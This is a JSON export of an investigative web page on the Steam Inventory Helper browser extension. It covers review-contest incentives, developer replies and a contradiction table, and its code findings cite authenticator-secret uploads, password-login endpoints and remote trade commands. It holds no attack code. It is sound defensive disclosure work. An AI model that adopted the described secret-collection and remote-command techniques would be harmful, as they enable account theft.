information\"* | **False** — password login, Steam Guard registration, maFile cloud sync are all in the code |\n| 2026-08-31 | *\"The extension do not have access to API key so it can't be changed. It appears that you may have fallen victim to a phishing website or malware.\"* | Blames the victim; user reported a **newly created API key** after the extension logged them out |\n| 2025-03-18 | *\"someone has launched an entire anti-advertising campaign against SIH… tens of thousands of grateful users\"* | Labels organic backlash a \"campaign\" while running the incentivized 5★ program (main report §2) |\n| 2024-11-05 | *\"We're very sorry that you continue to copy and post the same review from different accounts\"* | Accuses critics of the exact astroturfing SIH itself runs |\n| 2025-03-13 | *\"If it's great we hope you will change your rate for 5 stars :)\"* (and ×3 more 4★-review replies asking to raise the rating) | Rating solicitation in the store itself |\n| 2020-10-21 | *\"You can check our code and find nothing… only limited to these websites: steampowered, market.csgo.com, sih.gainskins.com, steamcharts, steamcommunity, steamrep\"* | **Then-true** narrow permission list — became `<all_urls>` in 2024, making every later \"check the permissions page\" reply misleading |\n\n---\n\n# 3. REPLY vs. CODE vs. OWN ADMISSIONS — CONTRADICTION MATRIX\n\n| Claim in replies | Contradicted by | Where |\n|---|---|---|\n| \"Google's review process\" covers the ads | their own T1: **\"we are given advertisements to display, and we simply show them\"** — ads are delivered to the client at runtime from `ads.steaminventoryhelper.com/adapi/<token>/find-all` with per-user targeting `{f:{…}}`; Google reviews submitted code, not the ad server's output | main report §4.1; 922.js:84640 |\n| \"we only have one partner banner\" (T3/T5/T7, various) | their own T5 \"several slots\" + code: 5 adSpaceTokens (`marketSponsor`, `tradeoffer`, `marketLeftSideBanner`, `externalIntegrationBanner`, `marketSponsorBanner`), 4 ad networks + hardcoded RU-only `http://23.105.226.164` banner | main report §2.2; INTEGRATIONS.md |\n| \"no gambling affiliation\" | T8 Kinguin referral; CSGOFAST `subid2=csgofast` in the trade window; gainskins gambling banner feed; `cases.steaminventoryhelper.com` case-opening with sell/withdraw commands | code audit §2.2 |\n| \"does not collect authorization access\" | `IAuthenticationService/BeginAuthSessionViaCredentials` (password login), `ITwoFactorService/AddAuthenticator`, maFiles `shared_secret`/`identity_secret` uploaded to `core.sih.app/sih/backups/sync` | 922.js:99652 |\n| \"not able to steal anything\" (2017) | own 2018 admission that an analytics/tracking script existed and was removed; current build: C2 `tradesend`/`tradeaccept`, `sell_item` tasks, auto-confirm | §2.2; C2 report §4 |\n| \"permissions only for SIH functions… check the store page\" | 2020 reply itself listed 6 Steam domains — current manifest is `<all_urls>` + `cookies` + `webRequest` + `management` | manifest.json |\n\n**Net pattern.** The reply operation uses (a) a true but irrelevant fact (Google code review) as a shield for runtime behavior Google cannot see, (b) minimization (\"one small banner\") disproven by their own other replies (\"several slots\") and the code, (c) historical absolute denials followed by later quiet admissions, (d) victim-blaming and legal-flavored threats toward critics, and (e) rating-solicitation even inside review threads.\n\n---\n\n# 4. FILES\n\n- `%TEMP%\\opencode\\scraper\\lowest_fixed.json` — 1,010 reviews parsed (lowest-rating pass)\n- `%TEMP%\\opencode\\scraper\\dev_replies.json` — 286 review+reply pairs\n- `%TEMP%\\opencode\\scraper\\unique_replies.json` — 222 deduplicated reply templates with usage counts and trigger reviews\n- `%TEMP%\\opencode\\cws_all.json` — full 4,089-review dataset (Apify)\n\n*Compiled 2026-10-11. Quotes are verbatim (typos included); \"helpful\" counts as shown on the store at scrape time.*\n\nRead the original 11 October wording\n\nPreserved verbatim from the supplied 11 October 2026 edition. “Today” and “currently” refer to that edition; its original estimates and formulations remain available alongside the dated text above.\n\nThe 84-row table, rating histogram and arithmetic have been checked against the supplied text. The source timeline’s summary averages are not used in the explorer. The mobile campaign stays separate from the extension campaign. New source material can extend this record without changing the preserved originals.\n\nOpen this passage in the complete original edition →",
        "headings": [
          {
            "level": 1,
            "text": "A rating becomes the entry ticket.",
            "anchor": "pd-reviews-and-incentives--heading-1",
            "source_url": "https://phishdestroy.io/steam_dossier/reviews-and-incentives#overview"
          },
          {
            "level": 2,
            "text": "The reward offer reaches into the Store.",
            "anchor": "pd-reviews-and-incentives--heading-2",
            "source_url": "https://phishdestroy.io/steam_dossier/reviews-and-incentives#entry-mechanism"
          },
          {
            "level": 3,
            "text": "The policy mapping, row by row.",
            "anchor": "pd-reviews-and-incentives--heading-3",
            "source_url": "https://phishdestroy.io/steam_dossier/reviews-and-incentives#store-policy-mapping"
          },
          {
            "level": 3,
            "text": "PRIME DROP",
            "anchor": "pd-reviews-and-incentives--heading-4",
            "source_url": "https://phishdestroy.io/steam_dossier/reviews-and-incentives#entry-mechanism"
          },
          {
            "level": 3,
            "text": "PURE DROP",
            "anchor": "pd-reviews-and-incentives--heading-5",
            "source_url": "https://phishdestroy.io/steam_dossier/reviews-and-incentives#entry-mechanism"
          },
          {
            "level": 3,
            "text": "SKIN RAID",
            "anchor": "pd-reviews-and-incentives--heading-6",
            "source_url": "https://phishdestroy.io/steam_dossier/reviews-and-incentives#entry-mechanism"
          },
          {
            "level": 2,
            "text": "Put the review stream beside the contest calendar.",
            "anchor": "pd-reviews-and-incentives--heading-7",
            "source_url": "https://phishdestroy.io/steam_dossier/reviews-and-incentives#contest-timeline"
          },
          {
            "level": 2,
            "text": "The stars and the complaints belong in the same record.",
            "anchor": "pd-reviews-and-incentives--heading-8",
            "source_url": "https://phishdestroy.io/steam_dossier/reviews-and-incentives#review-corpus"
          },
          {
            "level": 3,
            "text": "1,859 short five-star reviews.",
            "anchor": "pd-reviews-and-incentives--heading-9",
            "source_url": "https://phishdestroy.io/steam_dossier/reviews-and-incentives#review-corpus"
          },
          {
            "level": 3,
            "text": "Privacy, permissions and advertising.",
            "anchor": "pd-reviews-and-incentives--heading-10",
            "source_url": "https://phishdestroy.io/steam_dossier/reviews-and-incentives#review-corpus"
          },
          {
            "level": 3,
            "text": "The same installation version. The same words. The same incentive.",
            "anchor": "pd-reviews-and-incentives--heading-11",
            "source_url": "https://phishdestroy.io/steam_dossier/reviews-and-incentives#review-burst-findings"
          },
          {
            "level": 4,
            "text": "Twelve reviews. Twelve five-star ratings.",
            "anchor": "pd-reviews-and-incentives--heading-12",
            "source_url": "https://phishdestroy.io/steam_dossier/reviews-and-incentives#review-burst-findings"
          },
          {
            "level": 2,
            "text": "Read the reply. Then inspect the mechanism.",
            "anchor": "pd-reviews-and-incentives--heading-13",
            "source_url": "https://phishdestroy.io/steam_dossier/reviews-and-incentives#developer-replies"
          },
          {
            "level": 3,
            "text": "“we are given advertisements to display, and we simply show them”",
            "anchor": "pd-reviews-and-incentives--heading-14",
            "source_url": "https://phishdestroy.io/steam_dossier/reviews-and-incentives#developer-replies"
          },
          {
            "level": 3,
            "text": "Broad permissions attributed to the Manifest V3 migration.",
            "anchor": "pd-reviews-and-incentives--heading-15",
            "source_url": "https://phishdestroy.io/steam_dossier/reviews-and-incentives#developer-replies"
          },
          {
            "level": 3,
            "text": "One partner banner; a paid subscription removes advertising.",
            "anchor": "pd-reviews-and-incentives--heading-16",
            "source_url": "https://phishdestroy.io/steam_dossier/reviews-and-incentives#developer-replies"
          },
          {
            "level": 3,
            "text": "Reviewers are told they bear responsibility for comments described as unlawful.",
            "anchor": "pd-reviews-and-incentives--heading-17",
            "source_url": "https://phishdestroy.io/steam_dossier/reviews-and-incentives#developer-replies"
          },
          {
            "level": 3,
            "text": "The product has several affiliate-banner slots.",
            "anchor": "pd-reviews-and-incentives--heading-18",
            "source_url": "https://phishdestroy.io/steam_dossier/reviews-and-incentives#developer-replies"
          },
          {
            "level": 3,
            "text": "No collection of authorisation/API data; account loss attributed to phishing.",
            "anchor": "pd-reviews-and-incentives--heading-19",
            "source_url": "https://phishdestroy.io/steam_dossier/reviews-and-incentives#developer-replies"
          },
          {
            "level": 3,
            "text": "No gambling-project plans or connection, according to the replies.",
            "anchor": "pd-reviews-and-incentives--heading-20",
            "source_url": "https://phishdestroy.io/steam_dossier/reviews-and-incentives#developer-replies"
          },
          {
            "level": 3,
            "text": "A four-star reviewer is asked for five stars.",
            "anchor": "pd-reviews-and-incentives--heading-21",
            "source_url": "https://phishdestroy.io/steam_dossier/reviews-and-incentives#developer-replies"
          },
          {
            "level": 3,
            "text": "The denial is public. So is the evidence.",
            "anchor": "pd-reviews-and-incentives--heading-22",
            "source_url": "https://phishdestroy.io/steam_dossier/reviews-and-incentives#reply-contradictions"
          },
          {
            "level": 4,
            "text": "“every version of our extension goes through Google’s review process”",
            "anchor": "pd-reviews-and-incentives--heading-23",
            "source_url": "https://phishdestroy.io/steam_dossier/reviews-and-incentives#reply-contradictions"
          },
          {
            "level": 4,
            "text": "“only a single partner banner”",
            "anchor": "pd-reviews-and-incentives--heading-24",
            "source_url": "https://phishdestroy.io/steam_dossier/reviews-and-incentives#reply-contradictions"
          },
          {
            "level": 4,
            "text": "“we have absolutely no connection to anything of that kind”",
            "anchor": "pd-reviews-and-incentives--heading-25",
            "source_url": "https://phishdestroy.io/steam_dossier/reviews-and-incentives#reply-contradictions"
          },
          {
            "level": 4,
            "text": "“does not collect authorization access, API keys, or any similar information”",
            "anchor": "pd-reviews-and-incentives--heading-26",
            "source_url": "https://phishdestroy.io/steam_dossier/reviews-and-incentives#reply-contradictions"
          },
          {
            "level": 4,
            "text": "“does not have the functionality to perform any selling actions without user confirmation”",
            "anchor": "pd-reviews-and-incentives--heading-27",
            "source_url": "https://phishdestroy.io/steam_dossier/reviews-and-incentives#reply-contradictions"
          },
          {
            "level": 4,
            "text": "“only those listed in the permissions”",
            "anchor": "pd-reviews-and-incentives--heading-28",
            "source_url": "https://phishdestroy.io/steam_dossier/reviews-and-incentives#reply-contradictions"
          },
          {
            "level": 4,
            "text": "Google’s Manifest V3 migration is invoked to explain the permissions.",
            "anchor": "pd-reviews-and-incentives--heading-29",
            "source_url": "https://phishdestroy.io/steam_dossier/reviews-and-incentives#reply-contradictions"
          },
          {
            "level": 4,
            "text": "“someone has launched an entire anti-advertising campaign against SIH”",
            "anchor": "pd-reviews-and-incentives--heading-30",
            "source_url": "https://phishdestroy.io/steam_dossier/reviews-and-incentives#reply-contradictions"
          },
          {
            "level": 4,
            "text": "“This information is fake” → “This analytics script was removed long ago”",
            "anchor": "pd-reviews-and-incentives--heading-31",
            "source_url": "https://phishdestroy.io/steam_dossier/reviews-and-incentives#reply-contradictions"
          },
          {
            "level": 2,
            "text": "A small prize pool. A persistent reputation asset.",
            "anchor": "pd-reviews-and-incentives--heading-32",
            "source_url": "https://phishdestroy.io/steam_dossier/reviews-and-incentives#economics"
          },
          {
            "level": 3,
            "text": "The rest of the incentive economy.",
            "anchor": "pd-reviews-and-incentives--heading-33",
            "source_url": "https://phishdestroy.io/steam_dossier/reviews-and-incentives#campaign-economics"
          },
          {
            "level": 2,
            "text": "Manipulate the rating. Monetise the Steam interface.",
            "anchor": "pd-reviews-and-incentives--heading-34",
            "source_url": "https://phishdestroy.io/steam_dossier/reviews-and-incentives#valve-question"
          },
          {
            "level": 2,
            "text": "Read the documents. Keep the original wording.",
            "anchor": "pd-reviews-and-incentives--heading-35",
            "source_url": "https://phishdestroy.io/steam_dossier/reviews-and-incentives#sources"
          },
          {
            "level": 3,
            "text": "Review Manipulation Evidence",
            "anchor": "pd-reviews-and-incentives--heading-36",
            "source_url": "https://phishdestroy.io/steam_dossier/reviews-and-incentives#RV01"
          },
          {
            "level": 3,
            "text": "Contest Timeline",
            "anchor": "pd-reviews-and-incentives--heading-37",
            "source_url": "https://phishdestroy.io/steam_dossier/reviews-and-incentives#RV02"
          },
          {
            "level": 3,
            "text": "Negatives and Replies",
            "anchor": "pd-reviews-and-incentives--heading-38",
            "source_url": "https://phishdestroy.io/steam_dossier/reviews-and-incentives#RV03"
          },
          {
            "level": 3,
            "text": "Chrome Web Store program policies",
            "anchor": "pd-reviews-and-incentives--heading-39",
            "source_url": "https://phishdestroy.io/steam_dossier/reviews-and-incentives#RV04"
          },
          {
            "level": 3,
            "text": "All three supplied reports, in full.",
            "anchor": "pd-reviews-and-incentives--heading-40",
            "source_url": "https://phishdestroy.io/steam_dossier/reviews-and-incentives#complete-research"
          }
        ],
        "links": [
          {
            "label": "Live article",
            "url": "https://phishdestroy.io/steam_dossier/reviews-and-incentives"
          },
          {
            "label": "Read the SIH code investigation ↗",
            "url": "https://phishdestroy.io/steam_dossier/csgofast-sih.html"
          },
          {
            "label": "Original 11 October edition · complete text →",
            "url": "https://phishdestroy.io/steam_dossier/editions/2026-10-11-latest/reviews-and-incentives.html"
          },
          {
            "label": "Contest post 2625 ↗",
            "url": "https://t.me/sihofficial/2625"
          },
          {
            "label": "Entry form ↗",
            "url": "https://forms.gle/26RhQxXQdbKLYX7AA"
          },
          {
            "label": "Contest post 3418 ↗",
            "url": "https://t.me/sihofficial/3418"
          },
          {
            "label": "Entry form ↗",
            "url": "https://forms.gle/QvsjSu7osN8zwCKn9"
          },
          {
            "label": "Contest post 3378 ↗",
            "url": "https://t.me/sihofficial/3378"
          },
          {
            "label": "Mobile entry form ↗",
            "url": "https://forms.gle/Bj4cJoNRoTiwWv3E6"
          },
          {
            "label": "Window totals and calculation record ↗",
            "url": "https://phishdestroy.io/steam_dossier/case_assets/contest-calculation.json"
          },
          {
            "label": "Download the 84 rows ↓",
            "url": "https://phishdestroy.io/steam_dossier/case_assets/assets/evidence/reviews-2026-10-11/contest-rows.json"
          },
          {
            "label": "2024-10-17 ↗ 329",
            "url": "https://t.me/sihofficial/329"
          },
          {
            "label": "2024-10-26 ↗ 372",
            "url": "https://t.me/sihofficial/372"
          },
          {
            "label": "2024-11-08 ↗ 443",
            "url": "https://t.me/sihofficial/443"
          },
          {
            "label": "2024-11-25 ↗ 506",
            "url": "https://t.me/sihofficial/506"
          },
          {
            "label": "2024-12-12 ↗ 588",
            "url": "https://t.me/sihofficial/588"
          },
          {
            "label": "2024-12-19 ↗ 608",
            "url": "https://t.me/sihofficial/608"
          },
          {
            "label": "2024-12-26 ↗ 625",
            "url": "https://t.me/sihofficial/625"
          },
          {
            "label": "2025-01-03 ↗ 645",
            "url": "https://t.me/sihofficial/645"
          },
          {
            "label": "2025-01-10 ↗ 658",
            "url": "https://t.me/sihofficial/658"
          },
          {
            "label": "2025-01-17 ↗ 678",
            "url": "https://t.me/sihofficial/678"
          },
          {
            "label": "2025-01-24 ↗ 693",
            "url": "https://t.me/sihofficial/693"
          },
          {
            "label": "2025-01-31 ↗ 717",
            "url": "https://t.me/sihofficial/717"
          },
          {
            "label": "2025-02-07 ↗ 734",
            "url": "https://t.me/sihofficial/734"
          },
          {
            "label": "2025-02-14 ↗ 753",
            "url": "https://t.me/sihofficial/753"
          },
          {
            "label": "2025-02-21 ↗ 769",
            "url": "https://t.me/sihofficial/769"
          },
          {
            "label": "2025-02-28 ↗ 781",
            "url": "https://t.me/sihofficial/781"
          },
          {
            "label": "2025-03-07 ↗ 796",
            "url": "https://t.me/sihofficial/796"
          },
          {
            "label": "2025-03-14 ↗ 812",
            "url": "https://t.me/sihofficial/812"
          },
          {
            "label": "2025-03-21 ↗ 837",
            "url": "https://t.me/sihofficial/837"
          },
          {
            "label": "2025-03-28 ↗ 881",
            "url": "https://t.me/sihofficial/881"
          },
          {
            "label": "2025-04-04 ↗ 922",
            "url": "https://t.me/sihofficial/922"
          },
          {
            "label": "2025-04-11 ↗ 962",
            "url": "https://t.me/sihofficial/962"
          },
          {
            "label": "2025-04-18 ↗ 1001",
            "url": "https://t.me/sihofficial/1001"
          },
          {
            "label": "2025-04-25 ↗ 1062",
            "url": "https://t.me/sihofficial/1062"
          },
          {
            "label": "2025-05-02 ↗ 1099",
            "url": "https://t.me/sihofficial/1099"
          },
          {
            "label": "2025-05-09 ↗ 1132",
            "url": "https://t.me/sihofficial/1132"
          },
          {
            "label": "2025-05-16 ↗ 1169",
            "url": "https://t.me/sihofficial/1169"
          },
          {
            "label": "2025-05-23 ↗ 1203",
            "url": "https://t.me/sihofficial/1203"
          },
          {
            "label": "2025-05-30 ↗ 1265",
            "url": "https://t.me/sihofficial/1265"
          },
          {
            "label": "2025-06-07 ↗ 1339",
            "url": "https://t.me/sihofficial/1339"
          },
          {
            "label": "2025-06-14 ↗ 1381",
            "url": "https://t.me/sihofficial/1381"
          },
          {
            "label": "2025-06-21 ↗ 1428",
            "url": "https://t.me/sihofficial/1428"
          },
          {
            "label": "2025-06-29 ↗ 1480",
            "url": "https://t.me/sihofficial/1480"
          },
          {
            "label": "2025-07-07 ↗ 1527",
            "url": "https://t.me/sihofficial/1527"
          },
          {
            "label": "2025-07-14 ↗ 1561",
            "url": "https://t.me/sihofficial/1561"
          },
          {
            "label": "2025-07-23 ↗ 1599",
            "url": "https://t.me/sihofficial/1599"
          },
          {
            "label": "2025-07-31 ↗ 1633",
            "url": "https://t.me/sihofficial/1633"
          },
          {
            "label": "2025-08-08 ↗ 1688",
            "url": "https://t.me/sihofficial/1688"
          },
          {
            "label": "2025-08-15 ↗ 1740",
            "url": "https://t.me/sihofficial/1740"
          },
          {
            "label": "2025-08-22 ↗ 1805",
            "url": "https://t.me/sihofficial/1805"
          },
          {
            "label": "2025-08-29 ↗ 1858",
            "url": "https://t.me/sihofficial/1858"
          },
          {
            "label": "2025-09-05 ↗ 1901",
            "url": "https://t.me/sihofficial/1901"
          },
          {
            "label": "2025-09-12 ↗ 1926",
            "url": "https://t.me/sihofficial/1926"
          },
          {
            "label": "2025-09-18 ↗ 1984",
            "url": "https://t.me/sihofficial/1984"
          },
          {
            "label": "2025-09-26 ↗ 2042",
            "url": "https://t.me/sihofficial/2042"
          },
          {
            "label": "2025-10-05 ↗ 2090",
            "url": "https://t.me/sihofficial/2090"
          },
          {
            "label": "2025-10-10 ↗ 2124",
            "url": "https://t.me/sihofficial/2124"
          },
          {
            "label": "2025-10-17 ↗ 2158",
            "url": "https://t.me/sihofficial/2158"
          },
          {
            "label": "2025-10-26 ↗ 2190",
            "url": "https://t.me/sihofficial/2190"
          },
          {
            "label": "2025-11-03 ↗ 2217",
            "url": "https://t.me/sihofficial/2217"
          },
          {
            "label": "2025-11-11 ↗ 2245",
            "url": "https://t.me/sihofficial/2245"
          },
          {
            "label": "2025-11-20 ↗ 2277",
            "url": "https://t.me/sihofficial/2277"
          },
          {
            "label": "2025-11-27 ↗ 2288",
            "url": "https://t.me/sihofficial/2288"
          },
          {
            "label": "2025-12-05 ↗ 2301",
            "url": "https://t.me/sihofficial/2301"
          },
          {
            "label": "2025-12-12 ↗ 2315",
            "url": "https://t.me/sihofficial/2315"
          },
          {
            "label": "2025-12-19 ↗ 2338",
            "url": "https://t.me/sihofficial/2338"
          },
          {
            "label": "2025-12-26 ↗ 2361",
            "url": "https://t.me/sihofficial/2361"
          },
          {
            "label": "2026-01-05 ↗ 2380",
            "url": "https://t.me/sihofficial/2380"
          },
          {
            "label": "2026-01-12 ↗ 2390",
            "url": "https://t.me/sihofficial/2390"
          },
          {
            "label": "2026-01-21 ↗ 2412",
            "url": "https://t.me/sihofficial/2412"
          },
          {
            "label": "2026-01-29 ↗ 2448",
            "url": "https://t.me/sihofficial/2448"
          },
          {
            "label": "2026-02-09 ↗ 2482",
            "url": "https://t.me/sihofficial/2482"
          },
          {
            "label": "2026-02-18 ↗ 2506",
            "url": "https://t.me/sihofficial/2506"
          },
          {
            "label": "2026-02-18 ↗ 2508",
            "url": "https://t.me/sihofficial/2508"
          },
          {
            "label": "2026-02-26 ↗ 2531",
            "url": "https://t.me/sihofficial/2531"
          },
          {
            "label": "2026-03-06 ↗ 2562",
            "url": "https://t.me/sihofficial/2562"
          },
          {
            "label": "2026-03-16 ↗ 2586",
            "url": "https://t.me/sihofficial/2586"
          },
          {
            "label": "2026-03-24 ↗ 2610",
            "url": "https://t.me/sihofficial/2610"
          },
          {
            "label": "2026-04-07 ↗ 2640",
            "url": "https://t.me/sihofficial/2640"
          },
          {
            "label": "2026-04-09 ↗ 2646",
            "url": "https://t.me/sihofficial/2646"
          },
          {
            "label": "2026-04-17 ↗ 2672",
            "url": "https://t.me/sihofficial/2672"
          },
          {
            "label": "2026-05-08 ↗ 2779",
            "url": "https://t.me/sihofficial/2779"
          },
          {
            "label": "2026-05-11 ↗ 2789",
            "url": "https://t.me/sihofficial/2789"
          },
          {
            "label": "2026-05-19 ↗ 2839",
            "url": "https://t.me/sihofficial/2839"
          },
          {
            "label": "2026-05-28 ↗ 2886",
            "url": "https://t.me/sihofficial/2886"
          },
          {
            "label": "2026-06-04 ↗ 2924",
            "url": "https://t.me/sihofficial/2924"
          },
          {
            "label": "2026-06-16 ↗ 2978",
            "url": "https://t.me/sihofficial/2978"
          },
          {
            "label": "2026-07-17 ↗ 3113",
            "url": "https://t.me/sihofficial/3113"
          },
          {
            "label": "2026-07-27 ↗ 3152",
            "url": "https://t.me/sihofficial/3152"
          },
          {
            "label": "2026-08-06 ↗ 3196",
            "url": "https://t.me/sihofficial/3196"
          },
          {
            "label": "2026-08-24 ↗ 3255",
            "url": "https://t.me/sihofficial/3255"
          },
          {
            "label": "2026-09-01 ↗ 3291",
            "url": "https://t.me/sihofficial/3291"
          },
          {
            "label": "2026-09-11 ↗ 3330",
            "url": "https://t.me/sihofficial/3330"
          },
          {
            "label": "2026-10-02 ↗ 3400",
            "url": "https://t.me/sihofficial/3400"
          },
          {
            "label": "Open this passage in the complete original edition →",
            "url": "https://phishdestroy.io/steam_dossier/editions/2026-10-11-latest/reviews-and-incentives.html#contest-timeline"
          },
          {
            "label": "Advertising exhibits ↗",
            "url": "https://phishdestroy.io/steam_dossier/csgofast-sih.html#screens"
          },
          {
            "label": "Permissions and controller gates ↗",
            "url": "https://phishdestroy.io/steam_dossier/csgofast-sih.html#SC03"
          },
          {
            "label": "Captured placements ↗",
            "url": "https://phishdestroy.io/steam_dossier/csgofast-sih.html#screens"
          },
          {
            "label": "Country and language in ad requests ↗",
            "url": "https://phishdestroy.io/steam_dossier/csgofast-sih.html#SC30"
          },
          {
            "label": "Token-return code record ↗",
            "url": "https://phishdestroy.io/steam_dossier/csgofast-sih.html#SC31"
          },
          {
            "label": "“Not gambling” and the integration ↗",
            "url": "https://phishdestroy.io/steam_dossier/csgofast-sih.html#non-casino"
          },
          {
            "label": "Ad-selection inputs ↗",
            "url": "https://phishdestroy.io/steam_dossier/csgofast-sih.html#SC30"
          },
          {
            "label": "All five screenshots ↗",
            "url": "https://phishdestroy.io/steam_dossier/csgofast-sih.html#screens"
          },
          {
            "label": "CSGOFast and the integration ↗",
            "url": "https://phishdestroy.io/steam_dossier/csgofast-sih.html#non-casino"
          },
          {
            "label": "Token-return handler ↗",
            "url": "https://phishdestroy.io/steam_dossier/csgofast-sih.html#SC31"
          },
          {
            "label": "Command inventory ↗",
            "url": "https://phishdestroy.io/steam_dossier/csgofast-sih.html#command-inventory"
          },
          {
            "label": "Manifest and package record ↗",
            "url": "https://phishdestroy.io/steam_dossier/extension-audit.html"
          },
          {
            "label": "Open this passage in the complete original edition →",
            "url": "https://phishdestroy.io/steam_dossier/editions/2026-10-11-latest/reviews-and-incentives.html#economics"
          },
          {
            "label": "FOLLOW THE NEXT STEPFrom installation to authenticated Steam operations.Inspect the remote-command paths, token-return handler and retained package record ↗",
            "url": "https://phishdestroy.io/steam_dossier/csgofast-sih.html#control"
          },
          {
            "label": "Download the original report ↓",
            "url": "https://phishdestroy.io/steam_dossier/case_assets/assets/evidence/reviews-2026-10-11/REVIEW-MANIPULATION-EVIDENCE.md"
          },
          {
            "label": "Download the original timeline ↓",
            "url": "https://phishdestroy.io/steam_dossier/case_assets/assets/evidence/reviews-2026-10-11/CONTEST-TIMELINE.md"
          },
          {
            "label": "Download the original analysis ↓",
            "url": "https://phishdestroy.io/steam_dossier/case_assets/assets/evidence/reviews-2026-10-11/NEGATIVES-AND-REPLIES.md"
          },
          {
            "label": "Read the official policies ↗",
            "url": "https://developer.chrome.com/docs/webstore/program-policies/policies"
          },
          {
            "label": "Original-file hashes and sizes ↗",
            "url": "https://phishdestroy.io/steam_dossier/case_assets/assets/evidence/reviews-2026-10-11/manifest.json"
          },
          {
            "label": "Download this original ↓",
            "url": "https://phishdestroy.io/steam_dossier/case_assets/assets/evidence/reviews-2026-10-11/REVIEW-MANIPULATION-EVIDENCE.md"
          },
          {
            "label": "Download this original ↓",
            "url": "https://phishdestroy.io/steam_dossier/case_assets/assets/evidence/reviews-2026-10-11/CONTEST-TIMELINE.md"
          },
          {
            "label": "Download this original ↓",
            "url": "https://phishdestroy.io/steam_dossier/case_assets/assets/evidence/reviews-2026-10-11/NEGATIVES-AND-REPLIES.md"
          },
          {
            "label": "Open this passage in the complete original edition →",
            "url": "https://phishdestroy.io/steam_dossier/editions/2026-10-11-latest/reviews-and-incentives.html#sources"
          }
        ],
        "tables": [
          {
            "id": "table-1",
            "caption": "Google policy mapping from the supplied reports · every listed policy answered YES",
            "rows": [
              [
                "Policy",
                "Violated",
                "What the record shows"
              ],
              [
                "Misrepresentation",
                "YES",
                "Nine demonstrably false or misleading developer claims, including denial of authorisation-secret collection the code performs."
              ],
              [
                "Deceptive ads placement",
                "YES",
                "Hidden ad slots inside Steam pages, including a hardcoded HTTP banner shown to RU-locale users, while the operator claims one small reviewed banner."
              ],
              [
                "Spam & placement",
                "YES",
                "60% of five-star reviews under 40 characters; single-word duplicates; the “Featured” badge obtained via the above."
              ],
              [
                "User Data Privacy",
                "YES",
                "maFile cloud sync, user info into Sentry and full economic telemetry, none disclosed in the store description."
              ],
              [
                "Single Purpose",
                "YES",
                "Price helper, authenticator, trade bot, C2 agent, gambling and ads in one package."
              ]
            ]
          },
          {
            "id": "pd-reviews-and-incentives--contest-table",
            "caption": "Contest posts and review counts transcribed from PhishDestroy’s supplied timeline",
            "rows": [
              [
                "Contest ended / post",
                "Participants",
                "Written reviews",
                "5★",
                "1–2★"
              ],
              [
                "2024-10-17 ↗ 329",
                "965",
                "2",
                "0",
                "2"
              ],
              [
                "2024-10-26 ↗ 372",
                "739",
                "2",
                "1",
                "1"
              ],
              [
                "2024-11-08 ↗ 443",
                "727",
                "4",
                "2",
                "2"
              ],
              [
                "2024-11-25 ↗ 506",
                "466",
                "3",
                "3",
                "0"
              ],
              [
                "2024-12-12 ↗ 588",
                "539",
                "2",
                "1",
                "0"
              ],
              [
                "2024-12-19 ↗ 608",
                "1,268",
                "2",
                "0",
                "2"
              ],
              [
                "2024-12-26 ↗ 625",
                "937",
                "1",
                "0",
                "1"
              ],
              [
                "2025-01-03 ↗ 645",
                "898",
                "1",
                "0",
                "1"
              ],
              [
                "2025-01-10 ↗ 658",
                "1,013",
                "3",
                "1",
                "1"
              ],
              [
                "2025-01-17 ↗ 678",
                "1,222",
                "2",
                "1",
                "1"
              ],
              [
                "2025-01-24 ↗ 693",
                "1,199",
                "2",
                "2",
                "0"
              ],
              [
                "2025-01-31 ↗ 717",
                "1,366",
                "5",
                "4",
                "0"
              ],
              [
                "2025-02-07 ↗ 734",
                "1,197",
                "5",
                "4",
                "0"
              ],
              [
                "2025-02-14 ↗ 753",
                "1,306",
                "9",
                "6",
                "3"
              ],
              [
                "2025-02-21 ↗ 769",
                "1,198",
                "11",
                "8",
                "2"
              ],
              [
                "2025-02-28 ↗ 781",
                "1,108",
                "6",
                "5",
                "1"
              ],
              [
                "2025-03-07 ↗ 796",
                "719",
                "46",
                "27",
                "16"
              ],
              [
                "2025-03-14 ↗ 812",
                "605",
                "95",
                "74",
                "16"
              ],
              [
                "2025-03-21 ↗ 837",
                "542",
                "79",
                "72",
                "6"
              ],
              [
                "2025-03-28 ↗ 881",
                "508",
                "70",
                "66",
                "4"
              ],
              [
                "2025-04-04 ↗ 922",
                "516",
                "53",
                "49",
                "4"
              ],
              [
                "2025-04-11 ↗ 962",
                "531",
                "88",
                "79",
                "7"
              ],
              [
                "2025-04-18 ↗ 1001",
                "422",
                "68",
                "61",
                "3"
              ],
              [
                "2025-04-25 ↗ 1062",
                "409",
                "38",
                "32",
                "4"
              ],
              [
                "2025-05-02 ↗ 1099",
                "406",
                "48",
                "45",
                "3"
              ],
              [
                "2025-05-09 ↗ 1132",
                "458",
                "48",
                "43",
                "3"
              ],
              [
                "2025-05-16 ↗ 1169",
                "330",
                "65",
                "54",
                "10"
              ],
              [
                "2025-05-23 ↗ 1203",
                "251",
                "49",
                "42",
                "7"
              ],
              [
                "2025-05-30 ↗ 1265",
                "240",
                "42",
                "38",
                "1"
              ],
              [
                "2025-06-07 ↗ 1339",
                "223",
                "21",
                "17",
                "2"
              ],
              [
                "2025-06-14 ↗ 1381",
                "211",
                "24",
                "22",
                "1"
              ],
              [
                "2025-06-21 ↗ 1428",
                "262",
                "25",
                "23",
                "1"
              ],
              [
                "2025-06-29 ↗ 1480",
                "258",
                "64",
                "62",
                "1"
              ],
              [
                "2025-07-07 ↗ 1527",
                "253",
                "45",
                "44",
                "0"
              ],
              [
                "2025-07-14 ↗ 1561",
                "330",
                "67",
                "63",
                "2"
              ],
              [
                "2025-07-23 ↗ 1599",
                "244",
                "65",
                "60",
                "3"
              ],
              [
                "2025-07-31 ↗ 1633",
                "241",
                "27",
                "26",
                "1"
              ],
              [
                "2025-08-08 ↗ 1688",
                "226",
                "31",
                "31",
                "0"
              ],
              [
                "2025-08-15 ↗ 1740",
                "213",
                "26",
                "25",
                "0"
              ],
              [
                "2025-08-22 ↗ 1805",
                "200",
                "20",
                "19",
                "0"
              ],
              [
                "2025-08-29 ↗ 1858",
                "221",
                "31",
                "31",
                "0"
              ],
              [
                "2025-09-05 ↗ 1901",
                "237",
                "43",
                "41",
                "0"
              ],
              [
                "2025-09-12 ↗ 1926",
                "200",
                "41",
                "38",
                "2"
              ],
              [
                "2025-09-18 ↗ 1984",
                "265",
                "39",
                "36",
                "2"
              ],
              [
                "2025-09-26 ↗ 2042",
                "950",
                "56",
                "50",
                "4"
              ],
              [
                "2025-10-05 ↗ 2090",
                "1,000",
